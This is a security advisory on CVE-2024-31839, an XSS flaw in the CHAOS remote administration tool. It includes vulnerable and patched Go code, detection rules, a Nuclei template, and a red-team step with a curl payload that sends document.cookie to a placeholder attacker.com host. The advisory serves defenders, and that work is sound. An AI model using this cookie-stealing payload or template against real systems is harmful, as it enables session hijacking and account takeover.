CVE-2024-31839

Executive Summary

CVE-2024-31839 is a Cross-Site Scripting (XSS) vulnerability in the sendCommandHandler function of the handler.go component in CHAOS v5.0.1, a remote administration tool (RAT) developed by Tiagorlampert. This vulnerability allows a remote, unauthenticated attacker to inject arbitrary JavaScript into the application's web interface. Successful exploitation can lead to privilege escalation within the application's context, session hijacking, and potential lateral movement within the network. The vulnerability is publicly known, with a Nuclei template and a Metasploit module available, indicating active weaponization. The CVSS v3.1 score is 4.8 (Medium), but the EPSS score of 0.84642 (99.3rd percentile) suggests a high probability of exploitation in the wild.

Supply Chain & Package Security

CHAOS is a Go-based binary application, not a package from NPM, PyPI, RubyGems, or Go modules. Therefore, supply chain risks are limited to the integrity of the binary distribution. Users should verify the SHA256 checksum of the downloaded binary against the official GitHub release to ensure it has not been tampered with.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): High (H) - Exploitation requires chaining with authentication bypass or session manipulation, as the XSS is triggered after command execution.
• Privileges Required (PR): None (N) - No authentication needed to trigger the XSS.
• User Interaction (UI): None (N) - The victim does not need to click a link; the script executes automatically.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the CHAOS web interface.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., execute commands as the logged-in user).
• Threat Level: High - Due to the availability of public exploit code and a high EPSS score.

Deep Dive & Mechanics

The vulnerability resides in the sendCommandHandler function within handler.go. This function is responsible for processing commands sent to a connected agent. The application does not properly sanitize or encode the command output before reflecting it back to the web interface. An attacker can inject a malicious script into the command field, which is then executed in the browser of any user viewing the command output.

The attack flow is as follows:

1. The attacker authenticates to the CHAOS web interface (or exploits an authentication bypass).
2. The attacker sends a command containing a JavaScript payload (e.g., echo '<script>alert(document.domain)</script>') to a connected agent.
3. The agent executes the command and returns the output.
4. The CHAOS server reflects this output in the web interface without sanitization.
5. When an administrator or another user views the command output, the injected script executes in their browser.

This XSS can be leveraged to steal session cookies, perform actions on behalf of the victim, or escalate privileges within the CHAOS application.

Vulnerable vs. Patched Code

Vulnerable Code (CHAOS v5.0.1 - handler.go):

func sendCommandHandler(w http.ResponseWriter, r *http.Request) {
    // ... parsing command ...
    output := executeCommand(command)
    w.Write([]byte(output)) // Direct reflection without sanitization
}

Patched Code (Hypothetical):

import "html/template"

func sendCommandHandler(w http.ResponseWriter, r *http.Request) {
    // ... parsing command ...
    output := executeCommand(command)
    safeOutput := template.HTMLEscapeString(output) // Sanitize output
    w.Write([]byte(safeOutput))
}

The patched version uses html/template.HTMLEscapeString to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• CHAOS v5.0.1 server running on a target host.
• A valid username and password for the CHAOS web interface (or use an authentication bypass if available).
• A connected agent (can be a simulated one).

Exploitation Steps:

1. Authenticate: Log in to the CHAOS web interface.
2. Identify Agent: Note the address of a connected agent from the main page.
3. Inject XSS Payload: Send a POST request to /command with the agent address and a malicious command.

   curl -X POST http://target:port/command \
     -H "Content-Type: multipart/form-data" \
     -F "address=AGENT_ADDRESS" \
     -F "command=echo '<script>new Image().src=\"http://attacker.com/steal?cookie=\"+document.cookie</script>'"
   

4. Trigger Execution: An administrator viewing the command output will trigger the XSS, sending their session cookie to the attacker's server.
5. Session Hijacking: Use the stolen cookie to impersonate the administrator and gain elevated privileges.

Metasploit Module: The Metasploit module exploit/linux/http/chaos_rat_xss_to_rce automates this process, chaining the XSS with a command injection to achieve remote code execution.

Blue Team

Detection:

• Monitor for POST requests to /command with suspicious payloads containing <script> tags.
• Look for outbound connections to unknown IP addresses on port 80/443 from the CHAOS server.
• Analyze web server logs for unusual User-Agent strings or repeated failed login attempts.

Hunting:

• Search for the string <script> in the CHAOS database or log files.
• Review all commands executed by agents for JavaScript-like syntax.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /command with command parameter containing <script> tags.
  • Outbound HTTP requests from the CHAOS server to attacker-controlled IPs.
• Host:
  • Presence of the CHAOS binary (chaos or chaos.exe) in unexpected locations.
  • Unusual processes spawned by the CHAOS server (e.g., cmd.exe, /bin/sh).
• File:
  • Log files containing JavaScript payloads.
  • Modified handler.go or other Go source files (if source is available).

Detection Engineering

YARA Rule

rule CVE_2024_31839_CHAOS_XSS {
    meta:
        description = "Detects CHAOS RAT XSS payloads in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-31839"
    strings:
        $xss_payload = /<script[^>]*>[^<]*<\/script>/ nocase
        $command_endpoint = "/command"
    condition:
        $command_endpoint and $xss_payload
}

Sigma Rule

title: CHAOS RAT XSS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-31839 by injecting XSS payloads into the CHAOS command endpoint.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/command'
        cs-uri-query|contains: 'command='
    keywords:
        - '<script'
        - 'alert('
        - 'document.cookie'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in command output (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31839 CHAOS RAT XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/command"; http_uri; content:"command="; http_client_body; pcre:"/<script[^>]*>[^<]*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-31839

info:
  name: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting
  author: riteshs4hu
  severity: medium
  description: |
    Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.
  impact: |
    Attackers can inject malicious scripts that execute in users' browsers, potentially escalating privileges and compromising user sessions.
  remediation: |
    Update CHAOS to a version that patches the XSS vulnerability in the sendCommandHandler function.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
    - https://github.com/tiagorlampert/CHAOS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-31839
    cwe-id: CWE-79
    epss-score: 0.84642
    epss-percentile: 0.99338
    cpe: cpe:2.3:a:tiagorlampert:chaos:5.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: tiagorlampert
    product: chaos
  tags: cve,cve2024,chaos,tiagorlampert,xss,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------7531776718188184812862255877

        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="username"

        {{username}}
        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="password"

        {{password}}
        -----------------------------7531776718188184812862255877--

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: address
        regex:
          - 'href="/shell\?address=([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /command HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------424661958414611637671358243344

        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="address"

        {{url_decode(address)}}
        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="command"

        echo '<script>alert(document.domain)</script>'
        -----------------------------424661958414611637671358243344--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 490a0046304402203574d49ced4e7656e532acd46ed1b9d72408679f5600c4b814c0379f1783e5fa0220499759a352003138547f05144d0be2ef6eea37a1cf4f1a50f2ff4f013dddc76e:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the CHAOS server from the network if possible.
2. Update: Check for a patched version from the vendor. If unavailable, consider disabling the web interface or restricting access via firewall rules.
3. Workaround: Implement a reverse proxy (e.g., Nginx) to sanitize responses:

   location /command {
       proxy_pass http://backend;
       sub_filter '<script' '&lt;script';
       sub_filter_once off;
   }
   

Long-Term Fix:

• The vendor must patch the sendCommandHandler function to sanitize output using html/template.HTMLEscapeString or a similar library.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'none';
  

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor for anomalous POST requests to /command.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 59220BF3B4954BEB076D2DDB] */}